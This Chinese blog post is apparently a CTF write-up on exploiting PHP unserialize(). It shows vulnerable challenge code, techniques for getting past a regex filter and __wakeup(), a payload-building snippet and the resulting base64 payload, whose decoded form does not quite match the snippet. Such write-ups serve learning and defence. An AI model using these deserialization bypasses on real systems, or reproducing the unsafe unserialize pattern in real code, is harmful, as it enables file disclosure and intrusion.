HacKerQWQ的博客空间

__wakeup()的绕过和正则绕过

Word count: 367Reading time: 1 min
2020/08/19 Share

Web_php_unserialize

题目

直接源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

我们需要控制file变量读入我们想要的fl4g.php文件

有两个地方需要绕过:

  1. preg_match('/[oc]:\d+:/i', $var绕过正则表达式
  2. 绕过__wakeup()函数

知识&绕过

  1. __construct():当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。(构造函数)
  2. __destruct():当对象被销毁时会自动调用。(析构函数)
  3. __wakeup():unserialize() 时会自动调用

创建对象会调用__construct(),__destruct()
序列化对象不调用函数
反序列化对象调用__wakeup()、__destruct()

可以用O:+4:绕过正则匹配
可以用当反序列化的对象数大于实际对象数的时候会跳过__wakeup()函数,也就是将:1:改成:2:或者s:3都可以绕过__wakeup()函数

解题

根据上述绕过知识,我们可以构造paylaod

1
2
3
4
5
$a = new Demo("fl4g.php");
$test = serialize($a);
$test = str_replace("O:4","O:+4",$test);
$test = str_replace("s:1","s:2",$test);
echo base64_encode($test);

生成字符串TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

最后得到FLAG

CATALOG
  1. 1. Web_php_unserialize
    1. 1.1. 题目
    2. 1.2. 知识&绕过
    3. 1.3. 解题